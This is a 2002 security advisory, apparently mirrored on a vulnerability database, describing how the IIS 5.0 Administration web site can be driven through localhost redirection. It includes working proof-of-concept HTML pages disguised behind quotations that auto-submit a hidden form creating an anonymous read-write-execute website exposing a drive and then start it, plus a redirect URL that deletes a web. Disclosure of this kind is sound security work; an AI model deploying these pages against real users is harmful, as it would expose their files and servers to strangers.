Lucene search
DLA-25-06-2002.txt
Exploits in IIS Administration web site via localhost redirection can lead to unauthorized access.
Show more
`** Digit-Labs Security Advisory (http://www.digit-labs.org/) **
Advisory Name: IIS Administration Web Site redirect exploits
Release Date: 25.June-2002
Application: Microsoft Internet Information Server 5.0
Platform: Windows 2000 Professional
Severity: Low/Medium
Author(s): GoLLuM.no [mailto:[email protected]]
Vendor Status: Notified
Disclaimer:
The content of this advisory is meant only as educational
material for website adminstrators and alike. Any kind of
illegal use is strongly discuraged! Don't run the embedded
Proof-of-concept code; it does actually work, but if you
run it will share your X:\ disk to everyone, you dont want
that if you have something of value on it. If you still
run the code then don't blame me if you get hacked later
because you did'nt delete the exploited web that the
POC creates ;-)
Executive Summary:
The default installation of IIS installs an Administration
web site. The Administration web site can be exploited
by redirection requests to localhost.
Detailed Description:
Many types of exploits are availible if a web administrator
browses a web-page that contains exploit code. New webs can be
created, old webs deleted, and permissions altered through a
http redirection to the localhost web-server. The user browsing
the exploit web-page must be a web-site administrator of some
kind.
Proof-of-concept:
Lets say you browse a website somewhere on the internet
(reading a newspaper or whatever), the page you enter has two
frames, the first one creates a new web-site on port 31337 of
your computer and shares your X: disk, allowing anonymous users
to browse and execute files on your computer without your
knowledge. The second frame starts the new website service after
its created, as it is stopped by default after creation.
After running this POC everyone can access your files on X:\ by
typing http://www.yourserver.c0m:31337/ in their browser. X:\
is just a suggestion, all drives can be exploited in this way.
The port/socket number of the Administration Web site is
random and decided at setup. A portscan of the target computer
reveals the portnumber. Most installations I have seen are
usually in the port/socket range 6000-10000. In the POC I have
assumed that the Administration Web site is running on port 6422.
!! Don't run this code if you don't know what your are doing !!
----------------------- frame1.htm -----------------------------
<html>
<head>
<title>Exploiting IIS Admin location redirect - Exploit #1</title>
<meta name="description" content="Exploit creates a new virtual web called http://yourweb/DigitLabs_exploit/ that maps x:\ with all rights">
<script language="Javascript">
<!--
function main()
{
oForm.submit(); // Submit form automatically when page has loaded
}
//-->
</script>
</head>
<body onload="Javascript:main()">
<form id="oForm" method="post" action="http://localhost:6422/iiwiznew.asp">
<input type="hidden" name="SiteType" value="0">
<input type="hidden" name="AllowScript" value="on">
<input type="hidden" name="NodeType" value="0">
<input type="hidden" name="AllowAnon" value="on">
<input type="hidden" name="iThisPage" value="7">
<!--Give the new Web a name-->
<input type="hidden" name="NodeName" value="DigitLabs_exploit">
<!--Port/Socket 80 is probably busy, here I use port 31337 (commonly unused) -->
<input type="hidden" name="TCPPort" value="31337">
<!-- Allow anonymous to read, write and execute files under X:\-->
<input type="hidden" name="VRPath" value="X:\">
<input type="hidden" name="AllowRead" value="on">
<input type="hidden" name="AllowWrite" value="on">
<input type="hidden" name="AllowExecute" value="on">
<input type="hidden" name="AllowRemote" value="on">
<input type="hidden" name="AllowDirBrowsing" value="on">
</form>
<!--The webpage seems friendly enough on the outside, but hidden within is the exploit code-->
<h3>"The secret to creativity is knowing how to hide your sources."</h3>
<i>-Albert Einstein</i>
</body>
</html>
----------------------------------------------------------------
----------------------- frame2.htm -----------------------------
<html>
<head>
<title>Exploiting IIS Admin location redirect - Exploit #1</title>
<meta name="description" content="Starts the new web service after it has been created">
<script language="Javascript">
<!--
function main()
{
/*
Guess that the Web is the third one, this might start another web planned in this example.
The Metabase enumeration of the webs is iterative, if you want to make sure that the web will be started then do many calls
each time iterating the value, ex: W3SVC/3 , W3SVC/4 , W3SVC/5 asf.
*/
location.href="http://localhost:6422/iiaction.asp?a=2&path=IIS%3A//localhost/W3SVC/3&stype=www&vtype=server&sel=4";
}
//-->
</script>
</head>
<body onload="Javascript:window.setTimeout('main()',5000)">
<!--Hide the true nature of the page-->
<h3>"Reality is merely an illusion, albeit a very persistent one."</h3>
<i>-Albert Einstein</i>
</body>
</html>
----------------------------------------------------------------
----------------------- frame2.htm -----------------------------
<html>
<head>
<title></title>
</head>
<FRAMESET border="2px" ROWS="50%, 50%">
<FRAME SRC="frame1.htm">
<FRAME SRC="frame2.htm">
</FRAMESET>
/html>
----------------------------------------------------------------
!! Remember to remove the DigitLabs_exploit from the Webserver when your are finished !!
As mentioned there are several other exploits that are possible. As
an example a redirection to
http://localhost:6422/iiaction.asp?a=del&path=IIS%3A//localhost/W3SVC/1/ROOT/digitlabs&stype=www&vtype=dir&sel=18
would remove a web called "digitlabs" from the webserver if it exists.
Before doing any of the above exploit you must make sure that there are valid autorization session cookies. The
way to do this is to first do a redirect to the root of the Administration Website, a information box that you
are not running in SSL appears, but this only has an Ok button on no Cancel button and will not be able to stop
the exploit. Only way to stop the exploit from creating valid session cookies is to kill the browser process in
task manager before pressing the Ok button. In the above PoC create a third frame that redirects to the root of
the Administration Web and make sure that this frame is executed first.
Temporary solution:
Disable the Administration Web Site if you don't use it.
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo04 Jul 2002 00:00Current
7.4High risk
Vulners AI Score7.4